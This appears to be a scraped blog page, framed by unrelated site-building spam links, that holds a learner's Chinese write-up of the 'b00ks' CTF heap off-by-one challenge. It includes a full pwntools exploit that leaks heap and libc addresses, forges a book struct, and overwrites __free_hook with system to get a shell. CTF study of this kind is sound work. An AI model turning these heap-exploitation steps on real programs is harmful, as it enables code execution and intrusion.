当前位置: 首页 > news >正文

wordpress网站源码公司网站建设哪家正规

wordpress网站源码,公司网站建设哪家正规,品牌建设属于哪个部门,彩票网站 在哪里做萌新进度太慢了#xff0c;才真正开始heap#xff0c;还是从简单的Off-By-One开始吧 前言 步入堆的学习。堆的知识复杂而多#xff0c;于是想着由wiki从简单部分逐个啃。 b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵#xff08;因为确实连堆的管理机制都没有完全… 萌新进度太慢了才真正开始heap还是从简单的Off-By-One开始吧 前言 步入堆的学习。堆的知识复杂而多于是想着由wiki从简单部分逐个啃。 b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵因为确实连堆的管理机制都没有完全了解。 一、一些疑难点以及思考 wp在网上有很多然而读了五六篇不同大佬师傅写的wp发现有很多细节被忽略了可能这些细节都是很简单的然而作为萌新一些基本的知识和思路还是缺乏。 好在经过两三天的啃、跟着做终于有了一些见解基本思路也打通了。具体的wp就不在这里写了可以食用其他大佬的wp更为优质而我就做一些补充。一些来自于本蒟蒻的细节的补充。 细节0off-by-one进行的单字节溢出可以用作泄露可以用作覆写。 细节1结构体分配内存时先name成员指针、再description成员指针、后book结构体指针 这个细节决定了我们通过off-by-one进行单字节溢出时地址总是减小因此可以将book1结构体更新到description 细节2description可以修改因此布置fake-book1要在单字节覆写之前name不可以修改但是会被首先free——即free_hook在free name时首先发作 这就意味着——如果不用onegadget而利用system(/bin/sh)那就需要把name指针布置为bin_sh字符串指针也就是需要修改name——我们可以修改fake_book1的desc指针指向book2的name的地址同时由于book结构体中name、desc两个指针相邻所以修改name值时填入p64(bin_sh)p64(free_hook)即可覆写namedesc指针为指定指针 细节3fake_book1的偏移为了能让fake_book1落在指定的、更新后的book1的位置前面可能需要填充padding这个通过gdb调试将偏移后的伪结构体数据布置到指定指针位置。 每次运行虽然heap变化但是低位不变因此偏移也固定。为了方便布置可以将book1的descrption内容开大一些。 二、EXP from pwn import *context(archamd64,log_leveldebug)ioprocess(./b00ks) def create(namesize,name,descriptionsize,description):io.sendlineafter(b ,b1)io.sendlineafter(b\nEnter book name size: ,str(namesize).encode())io.sendlineafter(bEnter book name (Max 32 chars): ,name)io.sendlineafter(b\nEnter book description size: ,str(descriptionsize).encode())io.sendlineafter(bEnter book description: ,description) def delete(bookid):io.sendlineafter(b ,b2)io.sendlineafter(bEnter the book id you want to delete: ,str(bookid).encode())def edit(bookid,newdescription):io.sendlineafter(b ,b3)io.sendlineafter(bEnter the book id you want to edit: ,str(bookid).encode())io.sendlineafter(bnter new book description: ,newdescription)def printinfo(id):io.sendlineafter(b ,b4)for i in range(id):io.recvuntil(bID: )IDio.recvuntil(b\n,dropTrue)io.recvuntil(bName: )Nameio.recvuntil(b\n,dropTrue)io.recvuntil(bDescription: )Descriptionio.recvuntil(b\n,dropTrue)io.recvuntil(bAuthor: )Authorio.recvuntil(b\n,dropTrue)return ID,Name,Description,Authordef changeAuthor(newAuthorname):io.sendlineafter(b ,b5)io.sendlineafter(bEnter author name: ,newAuthorname)### 1.泄露第一个book结构体的指针 # gdb.attach(io) booknameba*32 io.sendlineafter(bEnter author name: ,bookname) create(16,ba,256,ba)io.sendlineafter(b ,b4) io.recvuntil(ba*32) book1_ptru64(io.recvuntil(b\n\n1.,dropTrue).ljust(8,b\x00)) success(book1_ptr{}.format(hex(book1_ptr))) raw_input()### 2.伪造book1并通过off-by-one修改book1到fake_book1 # 将fake_book1的name_ptr属性指向book2的name将fake_book1的description_ptr属性指向book2的description # 注意由于name和description属性都是malloc的且因为book结构体malloc(0x20)所以开辟的实际空间是0x30### 之所以0x40(desc)在前0x38(name)在后是因为第二个位置对应可修改的desc指针可以通过其修改book2的name、desc fake_book1bc*0xc0p64(1)p64(book1_ptr0x40)p64(book1_ptr0x38)p64(0xffff) # fake_book1bc*0x20p64(1)p64(book1_ptr0x38)p64(book1_ptr0x40)p64(0xffff) edit(1,fake_book1)# 为了泄露libc版本需要让book2的name或description由mmap分配同时也因此book1和book2的堆空间相邻 create(0x21000,bb,0x21000,bb) changeAuthor(bookname) # 注意下面的顺序先desc再name对应payload的布置 book2_id,book2_desc,book2_name,book2_authorprintinfo(1) print(book2_id,book2_name,book2_desc,book2_author) book2_name_ptru64(book2_name.ljust(8,b\x00)) success(book2_name_ptr:{}.format(hex(book2_name_ptr))) book2_desc_ptru64(book2_desc.ljust(8,b\x00)) success(book2_desc_ptr:{}.format(hex(book2_desc_ptr))) raw_input()libc_basebook2_name_ptr-0x5cf010 libcELF(/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so) systemlibc_baselibc.sym[system] success(system:{}.format(hex(system))) execvelibc_baselibc.sym[execve] success(execve:{}.format(hex(execve))) bin_shlibc_basenext(libc.search(b/bin/sh\x00)) success(bin_sh:{}.format(hex(bin_sh))) free_hooklibc_baselibc.sym[__free_hook] raw_input()### 通过onegadget来打但是均失败了 # one_gadgetlibc_base0xebc88 # 0x50a47 0xebc81 0xebc85 0xebc88 # edit(1,p64(0)p64(free_hook)) # edit(2,p64(one_gadget)) # delete(2) ### 注意这里的onegadget是没有patchelf该so和ld文件前即22.04版16.04版未尝试### 通过system(/bin/sh)来打 edit(1,p64(bin_sh)p64(free_hook)) #book2的name指针改为指向字符串/bin/sh的指针desc指针指向free_hook edit(2,p64(system)) #修改free_hook的值为system\ raw_input() delete(2)# name指向的区域最先free,触发free_hook此时已改为systemio.interactive() 三、效果 总结 还是比较难的但是跟着wp做了一遍发现细节、原理、思路以及流程都能够了解并掌握且gdb调适能力大大提升。加油
http://www.tj-hxxt.cn/news/227440.html

相关文章:

  • 陕西网站建设推广公司加强网站建设的制度
  • 杭州知名的企业网站建设做网站用什么开源程序
  • 门户网站静态页面3g手机网站源码
  • 希尔顿酒店网站建设的优点网站建设汇报稿
  • 顺义重庆网站建设开发技术网站开发技术
  • 生道网站建设平台天元建设集团有限公司张桂玉丑闻
  • 永康网站优化网店代运营公司
  • 河南做网站最好的公司wordpress删除仪表盘
  • 深圳企业网站制作公司哪家好西宁市网站建设高端
  • 企业门户网站的建设费用如何将wordpress上传
  • 求职招聘网站开发学生个人网页制作素材
  • 网站建设背景是什么批量管理多个wordpress
  • 做科学实验的网站河北建筑培训网实名认证
  • 做兼职用哪个网站好年度关键词有哪些
  • 我的网站模板那些网站可以做宣传
  • 深圳做网站乐云seo费用优惠长春业之峰装饰公司怎么样
  • 网站怎么做搜索引擎商城网站开发实施方案
  • 在电脑新建网站站点asp网站开发视频教程
  • 网站视觉设计规范专业做简历找什么店
  • 杭州门户网站开发做网站 华普花园
  • 网站建设售后协议平台建网站
  • 东营网站建设培训wordpress php5
  • 青岛企业网站开发wordpress jnews
  • 官网网站开发创建网站目录结构应遵循的方法
  • 杭州网站建设文章动漫设计制作专业学什么
  • 西直门网站建设公司如归网络营销推广企业
  • 企业怎么建设自己的网站单页面的网站模板
  • 台州电子商务网站开发镇江seo网站
  • 顺德定制网站设计设计建立企业网站最佳的公司
  • 建设网站需要设备全媒体门户网站建设方案